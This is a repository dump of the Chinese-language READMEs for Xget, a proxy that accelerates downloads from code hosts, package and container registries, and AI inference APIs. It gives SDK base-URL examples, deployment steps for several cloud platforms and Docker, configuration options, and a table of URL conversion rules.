[plugins."io.containerd.grpc.v1.cri".registry.mirrors]
[plugins."io.containerd.grpc.v1.cri".registry.mirrors."ghcr.io"]
endpoint = ["https://xget.xi-xu.me/cr/ghcr"]
[plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"]
endpoint = ["https://xget.xi-xu.me/cr/gcr"]
```
```bash
# 重启 containerd
sudo systemctl restart containerd
```
### AI 推理 API 加速
#### OpenAI API
```python
from openai import OpenAI
client = OpenAI(
api_key="your-api-key",
base_url="https://xget.xi-xu.me/ip/openai/v1", # 使用 Xget
)
response = client.responses.create(
model="gpt-5.1",
input="Hello, GPT!",
)
print(response.output_text)
```
#### Claude API
```python
from anthropic import Anthropic
client = Anthropic(
api_key="your-api-key",
base_url="https://xget.xi-xu.me/ip/anthropic", # 使用 Xget
)
message = client.messages.create(
model="claude-sonnet-4-5",
max_tokens=256,
messages=[
{
"role": "user",
"content": "Hello, Claude!",
}
],
)
print(message.content[0].text)
```
#### Gemini API
```python
from google import genai
from google.genai import types
client = genai.Client(
api_key="your-api-key",
http_options=types.HttpOptions(base_url="https://xget.xi-xu.me/ip/gemini"), # 使用 Xget
)
response = client.models.generate_content(
model="gemini-3-pro-preview",
contents="Hello, Gemini!",
)
print(response.text)
```
#### 多提供商统一接口
```python
from openai import OpenAI
providers = [
("Cohere", "your-cohere-api-key", "/cohere/compatibility/v1", "command-a-03-2025"),
("Mistral", "your-mistral-api-key", "/mistralai/v1", "mistral-medium-latest"),
("xAI", "your-xai-api-key", "/xai/v1", "grok-4"),
]
for name, key, path, model in providers:
client = OpenAI(api_key=key, base_url="https://xget.xi-xu.me/ip" + path) # 使用 Xget
response = client.chat.completions.create(
model=model,
messages=[{"role": "user", "content": f"Hello, who are you?"}],
)
print(name, "=>", response.choices[0].message.content)
```
#### JavaScript/Node.js 中使用
```javascript
// OpenAI API 加速
import OpenAI from 'openai';
const openaiClient = new OpenAI({
apiKey: 'your-openai-api-key',
baseURL: 'https://xget.xi-xu.me/ip/openai/v1' // 使用 Xget
});
async function chatWithGPT() {
const response = await openaiClient.responses.create({
model: 'gpt-5.1',
input: 'Hello, GPT!'
});
console.log(response.output_text);
}
// Claude API 加速
import Anthropic from '@anthropic-ai/sdk';
const anthropicClient = new Anthropic({
apiKey: 'your-claude-api-key',
baseURL: 'https://xget.xi-xu.me/ip/anthropic' // 使用 Xget
});
async function chatWithClaude() {
const message = await anthropicClient.messages.create({
model: 'claude-sonnet-4-5',
max_tokens: 256,
messages: [
{
role: 'user',
content: 'Hello, Claude!'
}
]
});
console.log(message.content[0].text);
}
// Gemini API 加速
import { GoogleGenAI } from '@google/genai';
const geminiClient = new GoogleGenAI({
apiKey: 'your-gemini-api-key'
});
async function chatWithGemini() {
const response = await geminiClient.models.generateContent({
model: 'gemini-3-pro-preview',
contents: 'Hello, Gemini!',
config: {
httpOptions: {
baseUrl: 'https://xget.xi-xu.me/ip/gemini' // 使用 Xget
}
}
});
console.log(response.text);
}
```
#### 环境变量配置
```bash
# 在 .env 文件中配置
OPENAI_BASE_URL=https://xget.xi-xu.me/ip/openai
ANTHROPIC_BASE_URL=https://xget.xi-xu.me/ip/anthropic
GEMINI_BASE_URL=https://xget.xi-xu.me/ip/gemini
COHERE_BASE_URL=https://xget.xi-xu.me/ip/cohere
MISTRAL_AI_BASE_URL=https://xget.xi-xu.me/ip/mistralai
GROQ_BASE_URL=https://xget.xi-xu.me/ip/groq
```
然后在代码中使用:
```python
import os
from openai import OpenAI
# 从环境变量读取配置
client = OpenAI(
api_key=os.getenv("OPENAI_API_KEY"),
base_url=os.getenv("OPENAI_BASE_URL") # 自动使用 Xget
)
```
## 🚀 部署
### 部署到 Cloudflare Workers
1. **fork 本存储库**:[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)
2. **获取 Cloudflare 凭证**:
- 访问[账户 API 令牌](https://dash.cloudflare.com/?to=/:account/api-tokens)创建并记录 API 令牌,使用“编辑 Cloudflare
Workers”模板
- 访问
[Workers 和 Pages](https://dash.cloudflare.com/?to=/:account/workers-and-pages)
记录 Account ID
3. **配置 GitHub Secrets**:
- 进入你的 GitHub 存储库 → Settings → Secrets and variables → Actions
- 添加以下 secrets:
- `CLOUDFLARE_API_TOKEN`:你的 API 令牌
- `CLOUDFLARE_ACCOUNT_ID`:你的 Account ID
4. **触发部署**:
- 推送代码到 `main` 分支会自动触发部署
- 仅修改文档文件(`.md`)、`LICENSE`、`.gitignore` 等不会触发部署
- 也可以在 GitHub Actions 页面手动触发部署
5. **绑定自定义域名**(可选):在 Cloudflare Workers 控制台中绑定你的自定义域名
### 部署到 Cloudflare Pages
1. **fork 本存储库**:[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)
2. **获取 Cloudflare 凭证**:
- 访问[账户 API 令牌](https://dash.cloudflare.com/?to=/:account/api-tokens)创建并记录 API 令牌,使用“编辑 Cloudflare
Workers”模板
- 访问
[Workers 和 Pages](https://dash.cloudflare.com/?to=/:account/workers-and-pages)
记录 Account ID
3. **配置 GitHub Secrets**:
- 进入你的 GitHub 存储库 → Settings → Secrets and variables → Actions
- 添加以下 secrets:
- `CLOUDFLARE_API_TOKEN`:你的 API 令牌
- `CLOUDFLARE_ACCOUNT_ID`:你的 Account ID
4. **触发部署**:
- 存储库会自动将 Workers 代码转换为 Pages 兼容格式并同步到 `pages` 分支
- 推送代码到 `main` 分支会自动触发同步和部署工作流
- 仅修改文档文件(`.md`)、`LICENSE`、`.gitignore` 等不会触发部署
- 也可以在 GitHub Actions 页面手动触发部署
5. **绑定自定义域名**(可选):在 Cloudflare Pages 控制台中绑定你的自定义域名
**注意**:`pages` 分支是从 `main` 分支自动生成的。请勿手动编辑 `pages`
分支,因为它会被同步工作流覆盖。
### 部署到 EdgeOne Pages
1. **fork 本存储库**:[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)
2. **获取 EdgeOne Pages API Token**:
- 访问[中国站 EdgeOne 控制台](https://console.cloud.tencent.com/edgeone/pages?tab=api)或[国际站 EdgeOne 控制台](https://console.tencentcloud.com/edgeone/pages?tab=api)创建并记录 API
Token
3. **配置 GitHub Secrets**:
- 进入你的 GitHub 存储库 → Settings → Secrets and variables → Actions
- 添加以下 secret:
- `EDGEONE_API_TOKEN`:你的 API Token
4. **触发部署**:
- 存储库会自动将 Workers 代码转换为 Pages 兼容格式并同步到 `pages` 分支
- 推送代码到 `main` 分支会自动触发同步和部署工作流
- 仅修改文档文件(`.md`)、`LICENSE`、`.gitignore` 等不会触发部署
- 也可以在 GitHub Actions 页面手动触发部署
5. **绑定自定义域名**(可选):在 EdgeOne Pages 控制台中绑定你的自定义域名
**注意**:`pages` 分支是从 `main` 分支自动生成的。请勿手动编辑 `pages`
分支,因为它会被同步工作流覆盖。
### 部署到 Vercel
1. **fork 本存储库**:[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)
2. **获取 Vercel 凭证**:
- 访问 [Vercel Account Settings](https://vercel.com/account/settings/tokens)
创建并记录 Access Token
- 访问 Team Settings 记录 Team ID
- 新建项目后访问项目的 Settings 记录 Project ID
3. **配置 GitHub Secrets**:
- 进入你的 GitHub 存储库 → Settings → Secrets and variables → Actions
- 添加以下 secrets:
- `VERCEL_TOKEN`:你的 Access Token
- `VERCEL_ORG_ID`:你的 Team ID
- `VERCEL_PROJECT_ID`:你的 Project ID
4. **触发部署**:
- 存储库会自动将 Workers 代码转换为 Functions 兼容格式并同步到 `functions`
分支
- 推送代码到 `main` 分支会自动触发同步和部署工作流
- 仅修改文档文件(`.md`)、`LICENSE`、`.gitignore` 等不会触发部署
- 也可以在 GitHub Actions 页面手动触发部署
5. **绑定自定义域名**(可选):在 Vercel 控制台中绑定你的自定义域名
**注意**:`functions` 分支是从 `main` 分支自动生成的。请勿手动编辑 `functions`
分支,因为它会被同步工作流覆盖。
### 部署到 Netlify
1. **fork 本存储库**:[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)
2. **获取 Netlify 凭证**:
- 访问 [Netlify User Settings](https://app.netlify.com/user/applications)
创建并记录 personal access token
- 新建项目后访问 Project configuration 记录 Project ID
3. **配置 GitHub Secrets**:
- 进入你的 GitHub 存储库 → Settings → Secrets and variables → Actions
- 添加以下 secrets:
- `NETLIFY_AUTH_TOKEN`:你的 personal access token
- `NETLIFY_SITE_ID`:你的 Project ID
4. **触发部署**:
- 存储库会自动将 Workers 代码转换为 Functions 兼容格式并同步到 `functions`
分支
- 推送代码到 `main` 分支会自动触发同步和部署工作流
- 仅修改文档文件(`.md`)、`LICENSE`、`.gitignore` 等不会触发部署
- 也可以在 GitHub Actions 页面手动触发部署
5. **绑定自定义域名**(可选):在 Netlify 控制台中绑定你的自定义域名
**注意**:`functions` 分支是从 `main` 分支自动生成的。请勿手动编辑 `functions`
分支,因为它会被同步工作流覆盖。
### 部署到 Deno Deploy
1. **fork 本存储库**:[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)
2. **切换默认分支**:
- 进入你的 GitHub 存储库 → Settings → General → Default branch
- 将默认分支从 `main` 切换到 `functions`
3. **部署到 Deno Deploy**:
- 参考
[Deno Deploy 官方文档](https://docs.deno.com/deploy/getting_started/)执行部署
- 在 Deno Deploy 控制台创建新项目并连接你的 GitHub 存储库
4. **绑定自定义域名**(可选):在 Deno Deploy 控制台中绑定你的自定义域名
**注意**:`functions` 分支是从 `main` 分支自动生成的。请勿手动编辑 `functions`
分支,因为它会被同步工作流覆盖。
### 自托管部署
如果你希望在自己的服务器上运行 Xget,可以使用 Docker 或 Podman 部署:
#### 使用预构建镜像
从 GitHub Container Registry 拉取并运行预构建的镜像:
**使用 Docker:**
```bash
# 拉取最新镜像
docker pull ghcr.io/xixu-me/xget:latest
# 运行容器
docker run -d \
--name xget \
-p 8080:8080 \
ghcr.io/xixu-me/xget:latest
```
**使用 Podman:**
```bash
# 拉取最新镜像
podman pull ghcr.io/xixu-me/xget:latest
# 运行容器
podman run -d \
--name xget \
-p 8080:8080 \
ghcr.io/xixu-me/xget:latest
```
#### 本地构建
从源码构建容器镜像:
**使用 Docker:**
```bash
# 克隆存储库
git clone https://github.com/xixu-me/Xget.git
cd Xget
# 构建镜像
docker build -t xget:local .
# 运行容器
docker run -d \
--name xget \
-p 8080:8080 \
xget:local
```
**使用 Podman:**
```bash
# 克隆存储库
git clone https://github.com/xixu-me/Xget.git
cd Xget
# 构建镜像
podman build -t xget:local .
# 运行容器
podman run -d \
--name xget \
-p 8080:8080 \
xget:local
```
#### 使用 Docker Compose / Podman Compose
创建 `docker-compose.yml` 文件:
```yaml
version: '3.8'
services:
xget:
image: ghcr.io/xixu-me/xget:latest
container_name: xget
ports:
- '8080:8080'
restart: unless-stopped
```
**使用 Docker Compose:**
```bash
docker compose up -d
```
**使用 Podman Compose:**
```bash
podman compose up -d
```
部署完成后,Xget 将在 8080 端口运行。
如果你希望在 DigitalOcean 上部署和运行 Xget,可以参考文档[《Deploying and Optimizing Xget on DigitalOcean》](docs/deploy-on-digitalocean.md)。通过下方推荐链接注册账户,可获得 200 美元代金券积分,可用于创建 Droplet、Kubernetes、App
Platform 等资源:
**注意**:自托管部署不包括全球边缘网络加速,性能取决于你的服务器配置和网络环境。
## 🔧 配置
### 配置参数
你可以通过修改 `src/config/index.js` 来自定义配置:
```javascript
export const CONFIG = {
TIMEOUT_SECONDS: 30, // 请求超时时间(秒)
MAX_RETRIES: 3, // 最大重试次数
RETRY_DELAY_MS: 1000, // 重试延迟时间(毫秒)
CACHE_DURATION: 1800, // 缓存持续时间(1800秒 = 30分钟)
SECURITY: {
ALLOWED_METHODS: ['GET', 'HEAD'], // 常规请求的基础允许列表;协议流量内置了更宽的允许范围
ALLOWED_ORIGINS: ['*'], // 允许的 CORS 源
MAX_PATH_LENGTH: 2048 // 最大路径长度(字符)
}
};
```
### 性能调优建议
- **缓存优化**:根据使用模式调整 `CACHE_DURATION`,频繁更新的存储库可适当降低
- **超时设置**:网络条件较差时可适当增加 `TIMEOUT_SECONDS`
- **重试策略**:高延迟环境下可增加 `MAX_RETRIES` 和 `RETRY_DELAY_MS`
### 添加新平台
要添加对新平台的支持,请更新平台目录;如果需要特殊路径转换,再补充转换器:
```javascript
// src/config/platform-catalog.js
export const PLATFORM_CATALOG = {
// 现有平台...
custom: 'https://example.com'
};
// src/routing/platform-transformers.js
const PLATFORM_PATH_TRANSFORMERS = {
custom: path => path.replace(/^\/custom\//, '/')
};
```
## 🚧 开发
1. **存储库设置**
```bash
git clone https://github.com/xixu-me/Xget.git
cd Xget
npm install
npx wrangler login # 首次使用
```
2. **本地开发**
```bash
npm run dev # 启动开发服务器 (http://localhost:8787)
npm run test:run # 运行完整测试套件
npm run test:coverage # 生成测试覆盖率报告
npm run lint # 代码检查
npm run format # 代码格式化
npm run deploy # 部署到生产
```
## 🧪 测试
存储库包含完整的测试套件,确保代码质量和功能正确性。
### 完整测试
```bash
# 安装测试依赖
npm install
# 运行所有测试
npm run test:run
# 生成覆盖率报告
npm run test:coverage
# 监视模式
npm run test:watch
```
### 测试覆盖
- **单元测试**: 核心功能、平台配置、性能监控
- **集成测试**: 端到端流程、平台集成、Git 协议
- **安全测试**: 输入验证、安全头、权限控制
- **性能测试**: 响应时间、内存使用、并发处理
## 🔍 故障排除
### 常见问题
**Q: 下载速度没有明显提升?**
A: 检查源文件是否已经在 CDN 边缘节点缓存,首次访问可能较慢,后续访问会显著提升。
**Q: Git 操作失败?**
A: 确认使用了正确的 URL 格式,且 Git 客户端版本支持 HTTPS 代理。
**Q: 部署后无法访问?** A: 检查 Cloudflare Workers 域名是否正确绑定,确认
`wrangler.toml` 配置正确。
**Q: 出现 400 错误?** A: 检查 URL 路径格式,确认平台前缀正确使用。
### 性能监控
在响应头中返回性能指标:
- `X-Performance-Metrics`: 包含请求各阶段的耗时统计
- `X-Cache-Status`: 显示缓存命中状态
### 日志调试
在开发环境中,你可以通过 Cloudflare Workers 控制台查看详细日志:
```bash
npx wrangler dev --log-level debug
```
## ⚠️ 免责声明
- **合法合规使用**:本存储库旨在为代码存储库、软件包注册表、AI 推理 API、容器镜像、模型、数据集及更多合法开发者资源提供统一加速服务。使用者应严格遵守所在司法辖区法律法规及相关平台服务条款,任何非法用途的法律责任由使用者自行承担
- **非关联性与独立责任**:本存储库与各第三方平台不存在任何隶属、代理或合作关系。任何基于本存储库的 fork、二次开发、再分发或衍生版本均由其维护者独立承担全部责任;作者、维护者及贡献者不对衍生存储库的任何行为或后果承担法律或连带责任
- **无担保与免责条款**:在适用法律允许的最大范围内,本存储库按“现状(AS
IS)”提供,不提供任何明示或暗示担保(包括但不限于适销性、特定用途适用性、非侵权等)。对因使用本存储库而造成的任何直接或间接损失(包括但不限于数据丢失、业务中断、利润损失等),作者、维护者及贡献者不承担任何责任
- **风险自担原则**:使用者应自行评估使用风险,确保其使用行为合法合规,不侵犯第三方权益,不得将本存储库用于任何违法、侵权、恶意或不当用途
- **第三方平台合规**:使用者应遵守相关平台的服务条款、API 使用政策、速率限制及版权要求,避免对源平台造成过载或干扰。各平台对其内容、服务及政策拥有最终解释权
- **知识产权保护**:通过本存储库获取的内容受相应版权法保护。使用者应遵守相关许可协议、版权声明及使用条款,不得从事任何侵犯知识产权的行为
- **安全防护建议**:虽然本存储库采用无日志架构,不存储用户请求数据,但基于互联网传输的固有风险,建议使用者对下载内容进行安全扫描,尤其对可执行文件、脚本等保持谨慎
- **开源性质声明**:本存储库为开源项目,作者与贡献者不承担提供技术支持、错误修复或持续维护的义务。外部贡献的合并不代表对特定用途或效果的承诺与背书
- **名称使用规范**:严禁任何可能暗示作者或贡献者提供商业合作、技术支持、担保或背书的表述。涉及存储库名称或作者标识的使用应遵循相关法律法规及通用规范
- **免责声明更新**:本免责声明可能随存储库发展或法律环境变化进行更新修订。使用者继续使用、复制、分发或修改本存储库即视为接受最新版本的免责声明
## 🤝 贡献
我们欢迎各种形式的贡献!请查看[贡献指南](CONTRIBUTING.md)了解如何参与存储库开发。
1. **报告问题**: 使用
[issue 模板](https://github.com/xixu-me/Xget/issues/new/choose)报告 bug 或提出功能请求
2. **提交代码**: fork 存储库,创建功能分支,提交 pull request
3. **改进文档**: 修正错误、添加示例、完善说明
4. **测试反馈**: 在不同环境下测试并提供反馈
## 🌟 Star 历史
## 📝 许可证
版权所有 © Xi Xu。
本存储库采用 AGPL-3.0 许可证 - 查看 [LICENSE](LICENSE) 文件了解详情。
---
**如果这个存储库对您有帮助,请考虑给它一个 ⭐ star!**
Made with ❤️ by [Xi Xu](https://xi-xu.me)
================================================
FILE: README.zh-Hant.md
================================================
# Xget 🚀
[](https://zread.ai/xixu-me/Xget)
[](https://deepwiki.com/xixu-me/Xget)
[](https://codecov.io/github/xixu-me/xget)
[](#-生態系統整合)
[](#-生態系統整合)
[](#部署到-cloudflare-workers)
[](#部署到-edgeone-pages)
[](#部署到-vercel)
[](#部署到-netlify)
[](#部署到-deno-deploy)
[](#自託管部署)
[](#自託管部署)
[English](README.md) | [汉语(简体)](README.zh-Hans.md) | **漢語(繁體)**
[](#github)
[](#gitlab)
[](#gitea)
[](#codeberg)
[](#sourceforge)
[](#aosp-android-開源專案)
[](#hugging-face-鏡像)
[](#civitai-ai-模型平台)
[](#npm-軟體包管理加速)
[](#python-軟體包管理加速)
[](#conda-軟體包管理加速)
[](#maven-軟體包管理加速)
[](#apache-軟體下載加速)
[](#gradle-軟體包管理加速)
[](#homebrew-軟體包管理加速)
[](#ruby-軟體包管理加速)
[](#r-軟體包管理加速)
[](#perl-軟體包管理加速)
[](#texlatex-軟體包管理加速)
[](#go-模組加速)
[](#nuget-軟體包管理加速)
[](#rust-軟體包管理加速)
[](#php-軟體包管理加速)
[](#flathub-儲存庫鏡像)
[](#debianubuntu-apt-配置)
[](#debianubuntu-apt-配置)
[](#fedora-dnf-配置)
[](#rocky-linux-dnf-配置)
[](#opensuse-zypper-配置)
[](#arch-linux-pacman-配置)
[](#arxiv-論文下載)
[](#f-droid-儲存庫鏡像)
[](#jenkins-外掛程式下載)
[](#容器註冊表)
[](#ai-推理供應商)
面向開發者資源的超高效能、安全、一體化加速引擎,其效能顯著優於傳統解決方案,為程式碼儲存庫、模型和資料集中心、軟體包註冊表、容器註冊表、AI 推理供應商等提供統一、高效的加速。
技術深度解析文章已發布:**[《深入剖析 Xget:一個高效能、多協定、高安全性的開發者資源加速引擎》](https://blog.xi-xu.me/en/2025/10/07/Deep-Dive-into-Xget.html)**。
Xget 已受邀入駐
[GitCode 平台](https://gitcode.com/xixu-me/xget),並被認證為 G-Star 畢業專案;同時也獲得多位技術博主自發推薦,包括[阮一峰](https://www.ruanyifeng.com/blog/2025/12/weekly-issue-379.html#:~:text=Xget)、[GitHubDaily](https://x.com/i/status/1956204203937829256)、[魚 C](https://www.bilibili.com/video/BV1EeeBzVEop/)、[玄離 199](https://www.bilibili.com/video/BV197hqzsE8Y/?t=8)
等。在此感謝 GitCode 的肯定,也感謝每一位分享、推薦與實際使用 Xget 的朋友。
## 🎯 快速開始
**預部署實例(不保證可靠性):`xget.xi-xu.me`**
**URL 轉換器:**[**`xuc.xi-xu.me`**](https://xuc.xi-xu.me) - 一鍵轉換任意支援平台的 URL 為 Xget 的加速格式
**Agent Skills:**[**`skills/xget/`**](skills/xget/) - 可作為獨立的 `/xget`
目錄直接安裝到 skills 目錄中
## 🌟 核心優勢 - 為什麼選擇 Xget?
### ⚡ 極速效能 - 突破傳統加速器瓶頸
- **⚡ 毫秒級回應**:Cloudflare 全球 330+ 邊緣節點,平均回應時間 < 50ms
- **🌐
HTTP/3 極速協定**:啟用最新 HTTP/3 協定,連線延遲降低 40%,傳輸速度提升 30%
- **📦 智慧多重壓縮**:gzip、deflate、brotli 三重壓縮演算法,傳輸效率提升 60%
- **🔗 零延遲預連線**:連線預熱和保持活躍,消除握手開銷,實現秒級回應
- **⚡ 平行分片下載**:完整支援 HTTP Range 請求,多執行緒下載速度倍增
- **🎯 智慧路由最佳化**:自動選擇最佳傳輸路徑,避開網路壅塞節點
### 🌐 多平台深度整合
- **一站式多平台支援**:統一支援各種開發場景中的主流平台
- **智慧識別與轉換**:自動識別平台前綴並轉換為目標平台的正確 URL 結構
- **一致的加速體驗**:無論檔案類型或來源,均可享受統一且穩定的極速下載體驗
### 🔒 企業級安全保障
- **多層安全標頭**:
- `Strict-Transport-Security`:強制 HTTPS 傳輸,預防中間人攻擊
- `X-Frame-Options: DENY`:防止點擊劫持攻擊
- `X-XSS-Protection`:內建 XSS 防護機制
- `Content-Security-Policy`:嚴格的內容安全策略
- `Referrer-Policy`:控制參照來源資訊洩露
- **請求驗證機制**:
- HTTP 方法白名單:常規請求限制為 GET/HEAD,而 Git/LFS、容器映像倉庫、AI 推理與 Hugging
Face API 請求會按需允許 `POST`、`PUT`、`PATCH` 和 `DELETE`
- 路徑長度限制:防止超長 URL 攻擊(最大 2048 字元)
- 輸入清理:防止路徑遍歷和注入攻擊
- **逾時保護**:30 秒請求逾時,防止資源耗盡和惡意請求
### 🚀 現代架構與可靠性
- **智慧重試機制**:
- 最大 3 次重試,線性延遲策略(1000ms × 重試次數)
- 自動錯誤恢復,提高下載成功率
- 逾時檢測和中斷處理
- **高效快取策略**:
- 1800 秒(30 分鐘)預設快取時長,顯著減少原始伺服器壓力
- Git 操作跳過快取,確保即時性
- 基於 Cloudflare Cache API 的邊緣快取
- **效能監控系統**:
- 內建 `PerformanceMonitor` 類別,即時追蹤請求各階段耗時
- 透過 `X-Performance-Metrics` 回應標頭提供詳細效能數據
- 支援快取命中率統計和最佳化建議
### 🎯 Git 協定完全相容
- **智慧協定檢測**:
- 自動識別 Git 特定端點(`/info/refs`、`/git-upload-pack`、`/git-receive-pack`)
- 檢測 Git 用戶端 User-Agent 模式
- 支援 `service=git-upload-pack` 等查詢參數
- **完整操作支援**:
- `git clone`:完整儲存庫克隆,支援淺克隆和分支指定
- `git push`:程式碼推送和分支管理
- `git pull/fetch`:增量更新和遠端同步
- `git submodule`:子模組遞迴克隆
- **協定最佳化**:
- 保持 Git 專用請求標頭和驗證資訊
- 智慧 User-Agent 處理(預設 `git/2.34.1`)
- 支援 Git LFS 大檔案傳輸
### 📱 生態系統整合
- **專用瀏覽器擴充功能**:[Xget Now](https://github.com/xixu-me/Xget-Now)
提供無縫體驗
- 自動 URL 轉址,無需手動修改 URL
- 支援自訂 Xget 實例網域
- 多平台偏好設定和黑白名單管理
- 本地處理,確保隱私安全
- **下載工具相容性**:完美支援 wget、cURL、aria2、IDM 等主流下載工具
- **CI/CD 整合**:可直接在 GitHub Actions、GitLab CI 等環境中使用
## 🏗️ 系統架構
### 請求處理流程
```mermaid
graph TD
Request[使用者請求 / User-Agent] --> Identify{識別平台}
Identify -->|無效| Error[返回錯誤]
Identify -->|有效| Transform[轉換路徑]
Transform --> CheckProtocol{檢查協定}
CheckProtocol -->|Git| GitHandler[Git 協定適配器]
CheckProtocol -->|Docker| DockerHandler[Docker 協定適配器]
CheckProtocol -->|AI| AIHandler[AI 推理適配器]
CheckProtocol -->|標準| StdHandler[標準適配器]
GitHandler --> Upstream[獲取上游]
DockerHandler --> Upstream
AIHandler --> Upstream
StdHandler --> CacheCheck{檢查快取}
CacheCheck -->|命中| ReturnCache[返回快取回應]
CacheCheck -->|未命中| Upstream
Upstream -->|成功| ProcessResponse[處理回應]
Upstream -->|失敗| Retry{重試?}
Retry -->|是| Wait["等待 (退避)"] --> Upstream
Retry -->|否| Error
ProcessResponse --> Finalize[添加標頭並返回]
Finalize --> Response[回應]
```
### 組件架構
```mermaid
classDiagram
class Worker {
+fetch(request)
}
class AppHandler {
+handleRequest(request, env, ctx)
}
class PlatformCatalog {
+PLATFORM_CATALOG
}
class PlatformRouting {
+transformPath()
+resolveTarget()
}
class Validation {
+validateRequest()
+isDockerRequest()
}
class GitProtocol {
+configureGitHeaders()
+isGitRequest()
}
class DockerProtocol {
+handleDockerAuth()
+fetchToken()
}
class AIProtocol {
+configureAIHeaders()
}
class UpstreamPipeline {
+tryReadCachedResponse()
+fetchUpstreamResponse()
}
class ResponsePipeline {
+finalizeResponse()
}
class Security {
+addSecurityHeaders()
}
class Performance {
+monitor()
}
Worker --> AppHandler
AppHandler --> PlatformCatalog
AppHandler --> PlatformRouting
AppHandler --> Validation
AppHandler --> GitProtocol
AppHandler --> DockerProtocol
AppHandler --> AIProtocol
AppHandler --> UpstreamPipeline
AppHandler --> ResponsePipeline
AppHandler --> Security
AppHandler --> Performance
PlatformRouting --> PlatformCatalog
```
## 📖 URL 轉換規則
使用預部署實例 **`xget.xi-xu.me`**
或您自己部署的實例,只需簡單替換網域並新增平台前綴:
### 轉換格式
| 平台 | 平台前綴 | 原始 URL 格式 | 加速 URL 格式 |
| ---------------- | ----------- | ------------------------------------------------------------------- | -------------------------------------------------------------------------------- |
| GitHub | `gh` | `https://github.com/...` | `https://xget.xi-xu.me/gh/...` |
| GitHub Gist | `gist` | `https://gist.github.com/...` | `https://xget.xi-xu.me/gist/...` |
| GitLab | `gl` | `https://gitlab.com/...` | `https://xget.xi-xu.me/gl/...` |
| Gitea | `gitea` | `https://gitea.com/...` | `https://xget.xi-xu.me/gitea/...` |
| Codeberg | `codeberg` | `https://codeberg.org/...` | `https://xget.xi-xu.me/codeberg/...` |
| SourceForge | `sf` | `https://sourceforge.net/...` | `https://xget.xi-xu.me/sf/...` |
| AOSP | `aosp` | `https://android.googlesource.com/...` | `https://xget.xi-xu.me/aosp/...` |
| Hugging Face | `hf` | `https://huggingface.co/...` | `https://xget.xi-xu.me/hf/...` |
| Civitai | `civitai` | `https://civitai.com/...` | `https://xget.xi-xu.me/civitai/...` |
| npm | `npm` | `https://registry.npmjs.org/...` | `https://xget.xi-xu.me/npm/...` |
| PyPI | `pypi` | `https://pypi.org/...` | `https://xget.xi-xu.me/pypi/...` |
| conda | `conda` | `https://repo.anaconda.com/...` 和 `https://conda.anaconda.org/...` | `https://xget.xi-xu.me/conda/...` 和 `https://xget.xi-xu.me/conda/community/...` |
| Maven | `maven` | `https://repo1.maven.org/...` | `https://xget.xi-xu.me/maven/...` |
| Apache | `apache` | `https://downloads.apache.org/...` | `https://xget.xi-xu.me/apache/...` |
| Gradle | `gradle` | `https://plugins.gradle.org/...` | `https://xget.xi-xu.me/gradle/...` |
| Homebrew | `homebrew` | `https://github.com/Homebrew/...` | `https://xget.xi-xu.me/homebrew/...` |
| RubyGems | `rubygems` | `https://rubygems.org/...` | `https://xget.xi-xu.me/rubygems/...` |
| CRAN | `cran` | `https://cran.r-project.org/...` | `https://xget.xi-xu.me/cran/...` |
| CPAN | `cpan` | `https://www.cpan.org/...` | `https://xget.xi-xu.me/cpan/...` |
| CTAN | `ctan` | `https://tug.ctan.org/...` | `https://xget.xi-xu.me/ctan/...` |
| Go 模組 | `golang` | `https://proxy.golang.org/...` | `https://xget.xi-xu.me/golang/...` |
| NuGet | `nuget` | `https://api.nuget.org/...` | `https://xget.xi-xu.me/nuget/...` |
| Rust Crates | `crates` | `https://crates.io/...` | `https://xget.xi-xu.me/crates/...` |
| Packagist | `packagist` | `https://repo.packagist.org/...` | `https://xget.xi-xu.me/packagist/...` |
| Flathub | `flathub` | `https://dl.flathub.org/...` | `https://xget.xi-xu.me/flathub/...` |
| Debian | `debian` | `https://deb.debian.org/...` | `https://xget.xi-xu.me/debian/...` |
| Ubuntu | `ubuntu` | `https://archive.ubuntu.com/...` | `https://xget.xi-xu.me/ubuntu/...` |
| Fedora | `fedora` | `https://dl.fedoraproject.org/...` | `https://xget.xi-xu.me/fedora/...` |
| Rocky Linux | `rocky` | `https://download.rockylinux.org/...` | `https://xget.xi-xu.me/rocky/...` |
| openSUSE | `opensuse` | `https://download.opensuse.org/...` | `https://xget.xi-xu.me/opensuse/...` |
| Arch Linux | `arch` | `https://geo.mirror.pkgbuild.com/...` | `https://xget.xi-xu.me/arch/...` |
| arXiv | `arxiv` | `https://arxiv.org/...` | `https://xget.xi-xu.me/arxiv/...` |
| F-Droid | `fdroid` | `https://f-droid.org/...` | `https://xget.xi-xu.me/fdroid/...` |
| Jenkins 外掛程式 | `jenkins` | `https://updates.jenkins.io/...` | `https://xget.xi-xu.me/jenkins/...` |
| 容器註冊表 | `cr` | 見[容器註冊表](#容器註冊表) | 見[容器註冊表](#容器註冊表) |
| AI 推理供應商 | `ip` | 見 [AI 推理供應商](#ai-推理供應商) | 見 [AI 推理供應商](#ai-推理供應商) |
### 各平台轉換範例
#### GitHub
```url
# 原始 URL
https://github.com/microsoft/vscode/archive/refs/heads/main.zip
# 轉換後(新增 gh 前綴)
https://xget.xi-xu.me/gh/microsoft/vscode/archive/refs/heads/main.zip
```
#### GitHub Gist
```url
# 原始 URL
https://gist.github.com/xixu-me/e2ea9db6b1f143892495f796fef18631/raw/3b8807172ee492d0da3a7e370b0fb88fc97b53e6/Free-ChatGPT-Paid-Plan.md
# 轉換後(新增 gist 前綴)
https://xget.xi-xu.me/gist/xixu-me/e2ea9db6b1f143892495f796fef18631/raw/3b8807172ee492d0da3a7e370b0fb88fc97b53e6/Free-ChatGPT-Paid-Plan.md
```
#### GitLab
```url
# 原始 URL
https://gitlab.com/gitlab-org/gitlab/-/archive/master/gitlab-master.zip
# 轉換後(新增 gl 前綴)
https://xget.xi-xu.me/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip
```
#### Gitea
```url
# 原始 URL
https://gitea.com/gitea/gitea/archive/master.zip
# 轉換後(新增 gitea 前綴)
https://xget.xi-xu.me/gitea/gitea/gitea/archive/master.zip
```
#### Codeberg
```url
# 原始 URL
https://codeberg.org/forgejo/forgejo/archive/forgejo.zip
# 轉換後(新增 codeberg 前綴)
